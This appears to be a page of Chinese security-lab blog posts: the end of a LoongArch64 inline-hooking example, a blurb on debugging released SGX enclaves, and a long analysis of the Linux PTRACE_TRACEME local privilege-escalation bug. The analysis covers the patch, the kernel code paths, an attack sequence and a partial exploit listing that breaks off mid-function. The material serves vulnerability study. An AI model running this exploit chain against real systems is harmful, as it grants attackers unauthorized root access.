int rd, rj, off;
int inst_pcaddi, inst_jirl, inst_ld_d;
int to_addr_low, to_addr_high;

// PCADDI rd, si20 | 0 0 0 1 1 0 0 si20 rd
rd = 17;
off = 12 >> 2;
inst_pcaddi = 0x0c << (32 - 7) | off << 5 | rd ;

// LD.D rd, rj, si12 | 0 0 1 0 1 0 0 0 1 1 si12 rj rd
rd = 17;
rj = 17;
off = 0;
inst_ld_d = 0xa3 << 22 | off << 10 | rj << 5 | rd ;

// JIRL rd, rj, offs | 0 1 0 0 1 1 offs[15:0] rj rd
rd = 0;
rj = 17;
off = 0;
inst_jirl = 0x13 << 26 | off << 10 | rj << 5| rd;

to_addr_low = (int)((long)to & 0xffffffff);
to_addr_high = (int)((long)to >> 32);

*(int *)from = inst_pcaddi;
*(int *)(from + 4) = inst_ld_d;
*(int *)(from + 8) = inst_jirl;
*(int *)(from + 12) = to_addr_low;
*(int *)(from + 16) = to_addr_high;

return from + 20;
}

#define PAGE_MASK (~(page_size-1))
void post_hook(void *target, void *handler){

int page_size = sysconf(_SC_PAGE_SIZE);

int stolen = JUMP_CODE_SIZE;

char *trampoline = mmap(NULL, 128, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);

// turn [ trampoline pointer ] into [ hook target function pointer ]
func_ptr = (int (*)(int, int, int))trampoline;

// copy changed inst [ target: target+stolen ]
memcpy(trampoline, target, stolen);

// jump from [ trampoline + stolen ] to [ target + stolen ]
do_jump(trampoline+stolen, target+stolen);

// [ target ] jump to [ handler ]
// 没有这个mprotect调用会出现段错误
mprotect((void*)((long)target & PAGE_MASK), page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
do_jump(target, handler);

};

int main(int argc, char *argv[]){
post_hook((void *)func, (void *)hook_handler);
func(100, 200, 300);
return 0;

}

内核态Hook

我们实现了完整的处理各种异常条件的内核 LA inlineHook, 暂不公开

反汇编器

有LoongArch64 机器的情况下,直接用gdb就可以做到

用一个简单的脚本实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import os

opcodes = ",".join(hex(i) for i in [0x28c0208c, 0x28c0c18c, 0x24000d8c, 0x0348018c, 0x44008980])

c_code = """
int opcodes[] = { %s };
void main() { ((void (*)() )opcodes)(); }
""" % opcodes

with open("main.c", 'w') as f:
f.write(c_code)

os.system("gcc main.c -g")
os.system("gdb -batch -ex 'file a.out' -ex 'disassemble/rs opcodes'")
os.system("rm main.c a.out")

效果如下:

1
2
3
4
5
6
7
8
$ ./t.py
Dump of assembler code for function opcodes:
0x0000000120008000 <+0>: 8c 20 c0 28 ld.d $r12,$r4,8(0x8)
0x0000000120008004 <+4>: 8c c1 c0 28 ld.d $r12,$r12,48(0x30)
0x0000000120008008 <+8>: 8c 0d 00 24 ldptr.w $r12,$r12,12(0xc)
0x000000012000800c <+12>: 8c 01 48 03 andi $r12,$r12,0x200
0x0000000120008010 <+16>: 80 89 00 44 bnez $r12,136(0x88) # 0x120008098
End of assembler dump.

在没有 LoongArch64 机器的情况下,需要用软件(反汇编器)实现 LA 指令的反汇编,为了达到这个目的,我们正在开发支持 LA 的反汇编器,后续合适的时机可能会公开。

参考

LoongArch64 指令手册

LoongArch 指令集介绍.pdf

LoongArch 官博

龙芯 github 地址

窥探有方——调试Released SGX Enclave

author : suezi(@suezi86) of IceSword Lab , Qihoo 360

Intel Software Guard Extensions (Intel SGX)是基于CPU扩展的一种革命性的安全技术,旨在提供具有最小攻击面的硬件辅助的可信执行环境。它允许应用程序或应用程序的一部分运行在一个称为Enclave的安全容器中,任何应用程序,包括OS、Hypervisor、BIOS均无法访问其内容。Enclave使用的页面和数据结构由CPU内部的MEE加密存储在EPC中,负责映射Enclave页面的页表由OS管理,但OS无法获取其内容,仅Enclave可访问。然而攻击者总是想方设法以直接或间接的方式来获取数据,比如隐私数据,加密密钥,或者篡改代码的执行流。分析SGX的工作模型,设法将Release版本的Enclave转换成Debug版本,再借助SGX开发套件中的sgx-gdb工具,可实现对SGX Enclave的动态调试,之后便可为所欲为。详见窥探有方——调试Released SGX Enclave

PTRACE_TRACEME 本地提权漏洞解析

author: Gengjia Chen (chengjia4574@gmail.com) of IceSword Lab, qihoo 360

PTRACE_TRACEME 漏洞 是 Jann Horn 201907 月发现的内核提权漏洞, 漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程

漏洞补丁

我们从漏洞补丁 ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME 入手分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Fix two issues:

// 第一个问题,是 cred 的 rcu reference 问题
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU
reference to the parent's objective credentials, then give that pointer
to get_cred(). However, the object lifetime rules for things like
struct cred do not permit unconditionally turning an RCU reference into
a stable reference.

// 第二个问题,tracee 记录的 tracer 的 cred 的问题
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.


Fix both of these by always recording the credentials of the process
that is requesting the creation of the ptrace relationship:
current_cred() can't change under us, and current is the proper subject
for access control.

以上是补丁的描述,以下是补丁的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

从补丁的描述来看,一共修复了 2 个问题

  • 1 是 rcu reference 的问题,对应的代码是删除了 rcu 锁;
  • 2 是 tracee 记录 tracer 进程的 cred 引发的问题

本文不关心第一个问题,只分析可以用于本地提权的第二个问题

从补丁描述看第二个问题比较复杂,我们后面再分析,补丁对应的代码倒是非常简单,
将 ‘__task_cred(new_parent)’ 换成了 ‘current_cred()’, 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred

漏洞分析

ptrace 是一个系统调用,它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行,检查和改变其核心映像以及寄存器, 主要用来实现断点调试和系统调用跟踪

1
2
3
4
5
6
7
1    396  kernel/ptrace.c <<ptrace_attach>>
ptrace_link(task, current); // link 的双方分别是要 trace 的目标进程 'task'
// 和发动 trace 的当前进程 'current'
2 469 kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent); // link 的双方分别是发动 trace 的
// 当前进程 ‘current’ 和当前进程的
// 父进程 ' current->real_parent'

trace 关系的建立有 2 种方式

  • 1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme
  • 2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach

不管是哪种方式,最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系

  • ptrace_attach 关联的双方是 ‘task’ (tracee) 和 ‘current’ (tracer)
  • ptrace_traceme 关联的双方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)

这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么,因为这就是漏洞的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 将自己加入父进程的 ptraced 队列
child->parent = new_parent; // 2. 将父进程地址保存在 parent 指针
child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我们只关注这个变量
}

建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’ 变量,这个变量名很顾名思义

ptracer_cred 这个概念是由 2016 年的一个补丁 ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP 引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 setuid executable 时做安全检测

为什么需要这个安全检测呢?

exec 函数族可以更新进程的镜像, 如果被执行文件的 setuid 位 置位,则运行这个可执行文件时,进程的 euid 会被修改成该可执行文件的所有者的 uid, 如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 setuid executable 会有提权的效果

假如执行 exec 的进程本身是一个 tracee, 当它执行了 setuid executable 提权之后,由于 tracer 可以随时修改 tracee 的寄存器和内存,这时候低权限的 tracer 就可以控制 tracee 去执行越权操作

作为内核,显然是不允许这样的越权行为存在的,所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 setuid 位 置位的, 则会判断 ‘ptracer_cred’ 的权限, 如果权限不满足,将不会执行 setuid 位 的提权, 而是以原有的进程权限执行这个 setuid executable

这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)

1
2
3
4
5
6
7
8
9
10
11
do_execve
-> __do_execve_file
-> prepare_binprm
-> bprm_fill_uid
-> security_bprm_set_creds
->cap_bprm_set_creds
-> ptracer_capable
->selinux_bprm_set_creds
->(apparmor_bprm_set_creds)
->(smack_bprm_set_creds)
->(tomoyo_bprm_set_creds)

如上,execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- 初步填充新进程的 cred
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- 安全检测,
// 可能会修改新进程的 cred
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

如上,先调用 ‘bprm_fill_uid’ 初步填充新进程的 cred, 再调用 ‘security_bprm_set_creds’ 做安全检测并修改新的 cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode *inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /*
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 */
1522 bprm->cred->euid = current_euid(); // <--- 先使用本进程的euid
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- 如果可执行文件没有 setuid/setgid 位,这里就可以返回了
1534 return;
1535
1536 /* Be careful if suid/sgid is set */
1537 inode_lock(inode);
1538
1539 /* reload atomically mode/uid/gid now that lock held */
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- 如果文件 S_ISUID 置位,使用文件的 i_uid
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 /* We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ 使用文件的 i_uid 作为新进程的 euid
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }

如上, 主要看两行

  • 1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样
  • 1552 行,如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现, 新的 euid 变成了它执行的可执行文件所有者的 uid, 如果所有者是特权用户, 这里就实现了提权

但是,这里的 euid 依然不是最终的结果, 还需要进入函数 security_bprm_set_creds 做进一步的安全检测

security_bprm_set_creds 函数调用的是 LSM 框架

在我分析的内核版本上, 实现 ‘bprm_set_creds’ 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下,

  • cap_bprm_set_creds
  • selinux_bprm_set_creds
  • apparmor_bprm_set_creds
  • smack_bprm_set_creds
  • tomoyo_bprm_set_creds

这里哪些 hook 检测函数会被执行,其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话,上述所有这些实现了 ‘bprm_set_creds’ hook 检测的函数都会被执行

在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩

其中, 对 euid 有影响的是 ‘cap_bprm_set_creds’ 这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred *new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 /* Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 */
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- 检测是否执行的是 setid 程序
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- 如果执行execve的进程被trace了,且执行的程序是 setuid 的,需要增加权限检测
848 /* downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- 如果检测不通过,会将新进程的 euid 重新设置为原进程的 uid
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}

如上

  • 行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道,如果执行的文件是 setuid bit 的, euid 就会不一致)
    所以这里等同于检测执行的可执行程序是不是 setid 程序
  • 行 847, 检测本进程是否是 tracee

如果两个条件同时满足,需要执行 ptracer_capable 函数进行权限检测,假设检测不通过, 会执行 downgrade 降权

  • 行 851, 将 new->euid 的值重新变成 new->uid, 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去
1
2
3
4
5
6
7
8
9
10
11
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 时保存的 ptracer_cred
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 进入 lsm 框架进行安全检测
507 rcu_read_unlock();
508 return (ret == 0);
509 }

如上,

  • 行 504, 取出 ‘tsk->ptracer_cred’
  • 行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测

到了这里, 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了, 如前所述,这个变量是建立 trace 关系时, tracee 保存的 tracer 的 cred

当 tracee 随后执行 execve 去执行 suid 可执行程序时,就会调用 ptracer_capable 这个函数, 通过 lsm 里的安全框架去判断 ‘ptracer_cred’ 的权限

lsm 框架里的 capable hook 检测我们这里不分析了, 简单来说, 如果 tracer 本身是 root 权限, 则这里的检测会通过, 如果不是, 就会返回失败

根据前面的分析,如果 ptracer_capable 检测失败, new->euid 的权限会被降回去

举个例子, A ptrace B , B execve 执行 ‘/usr/bin/passwd’, 根据上面代码的分析, 如果 A 是 root 权限, 则 B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限

1
2
3
4
5
6
7
8
9
kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}

回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢? 明明这时候 parent 就是 tracer 啊?

我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred

1
2
3
4
5
6
7
8
9
10
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C

如上场景有 3 个进程 A, B, C

  • 第 4 步, task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时, 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0
  • 第 5 步, task C 随后执行 execve(suid binary), 根据我们上面的分析,由于 C 的 ptracer_cred 是特权的, 所以 ptracer_capable 函数检测通过,所以执行完 execve 后, task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的
  • 第 6 步, task B 执行 setresuid 将自己降权, 这个降权的目的是为了能让 task A attach
  • 第 8 步, task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作
  • 第 9 步, task B 控制 task C 执行提权操作

前面 8 步,依据之前的代码分析都是成立的,那么第 9 步能不能成立呢?

执行第 9 步时, task B 本身是普通权限, task C 的 euid 是 root 权限, B 和 C 的 trace link 有效, 这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作,包括提权操作?

下面我们结合代码分析这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
1112 unsigned long, data)
1113 {
1114 struct task_struct *child;
1115 long ret;
1116
1117 if (request == PTRACE_TRACEME) {
1118 ret = ptrace_traceme(); // <----- 进入 traceme 分支
1119 if (!ret)
1120 arch_ptrace_attach(current);
1121 goto out;
1122 }
1123
1124 child = find_get_task_by_vpid(pid);
1125 if (!child) {
1126 ret = -ESRCH;
1127 goto out;
1128 }
1129
1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
1131 ret = ptrace_attach(child, request, addr, data); // <------ 进入 attach 分支
1132 /*
1133 * Some architectures need to do book-keeping after
1134 * a ptrace attach.
1135 */
1136 if (!ret)
1137 arch_ptrace_attach(child);
1138 goto out_put_task_struct;
1139 }
1140
1141 ret = ptrace_check_attach(child, request == PTRACE_KILL ||
1142 request == PTRACE_INTERRUPT);
1143 if (ret < 0)
1144 goto out_put_task_struct;
1145
1146 ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request
1147 if (ret || request != PTRACE_DETACH)
1148 ptrace_unfreeze_traced(child);
1149
1150 out_put_task_struct:
1151 put_task_struct(child);
1152 out:
1153 return ret;
1154 }

如上, 由于 task B 和 task C 此时已经存在 trace link, 所以通过 B 向 C 可以直接发送 ptrace request, 将进入函数 arch_ptrace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
arch/x86/kernel/ptrace.c

arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable

kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }


1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 调用 ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 调用 ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

如上,当 tracer 想要控制 tracee 执行新的代码逻辑时,需要发送 request 读写 tracee 的代码区和内存区, 对应的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA

这几种读写操作最终都是通过函数 ptrace_access_vm 实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- 又是调用 ptracer_capable 函数
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }

kernel/capability.c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred);
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
507 rcu_read_unlock();
508 return (ret == 0);
509 }

如上, ptrace_access_vm 函数会调用我们之前分析到的 ‘ptracer_capable’ 来决定这个 request 是否可以进行, 这是 ‘ptracer_capable’ 函数的第二种使用场景

根据之前我们分析的结果, task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过, 也就是说我们回答了刚刚的问题, 这种情况下,普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C 的内存区和代码区的

至此,task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用

  • 1,可以让 task C 执行 execve(suid binary) 给自己提权
  • 2,可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区,从而控制 task C 执行任意操作

上面 2 点合起来,不就是完整的提权操作吗?

小结

我们仔细回顾上述代码分析过程, 才终于明白补丁描述写的这段话

1
2
3
4
5
6
7
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

本质上这个漏洞有点像 TOCTOU 类漏洞, ptracer_cred 的获取是在 traceme 阶段, 而 ptracer_cred 的应用是在随后的各种 request 阶段, 而在随后的 ptrace request 的时候, tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

我们再次看看 jann horn 的补丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’

补丁的意思是说在 PTRACE_TRACEME 这种场景下, ptracer_cred 记录的不应该是父进程的 cred, 而应该是自己的 cred

所以我觉得从这个变量的用途来说,它其实记录的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred

我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH 建立时, 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时, 它等于 tracee 的 cred, 它实际上记录的是 trace 关系建立者的权限 !

exploit

本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:

  • 1, 必须是能被普通权限用户调用
  • 2, 执行时必须有提权到root的阶段
  • 3, 执行提权后必须执行降权

(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace attach)

这里我列出 3 份 exploit 代码:

jann horn 的 exploit 里使用桌面发行版自带的 pkexec 程序用于启动 task B

pkexec 允许特权用户以其他用户权限执行另外一个可执行程序, 用于 polkit 认证框架, 当使用 –user 参数时, 刚好可以让进程先提权到 root 然后再降权到指定用户,因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn 把他们成为 helper), 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证(很多通过 polkit 执行的程序都需要弹窗认证), 执行的模式如下:

  • /usr/bin/pkexec –user nonrootuser /user/sbin/some-helper-binary

bcoles 的 exploit 在 jann horn 的基础上增加了寻找更多 helper binary 的代码, 因为 jann horn 的 helper 是一个写死的程序, 在很多发行版并不存在,所以他的 exploit 在很多发行版系统上无法运行, bcoles 的 exploit 可以在更多的发行版上运行成功

本人出于学习的目的,也写了一份 jiayy 的 exploit, 因为 helper binary 因不同发行版而异, pkexec 也是桌面发行版才有, 而事实上这个提权漏洞是 linux kernel 的漏洞, 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权, 而这个 fakepkexec 和 fakehelper 程序手动生成(而不是从目标系统搜索),这样一来学习者可以在任何存在本漏洞的 linux 系统(不需要桌面)运行我的 exploit 进行研究

exploit 分析

下面简单过一下 exploit 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
172
173 helper_path = "/tmp/fakehelper";
174
175 /*
176 * set up a pipe such that the next write to it will block: packet mode,
177 * limited to one packet
178 */
179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181 char dummy = 0;
182 SAFE(write(block_pipe[1], &dummy, 1));
183
184 /* spawn pkexec in a child, and continue here once our child is in execve() */
185 static char middle_stack[1024*1024];
186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188 if (!middle_success) return 1;
189
======================= skip =======================
215 }

先看行 186, 调用 clone 生成子进程(也就是 task B), task B 运行 middle_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
79 while (1) {
80 char buf[1000];
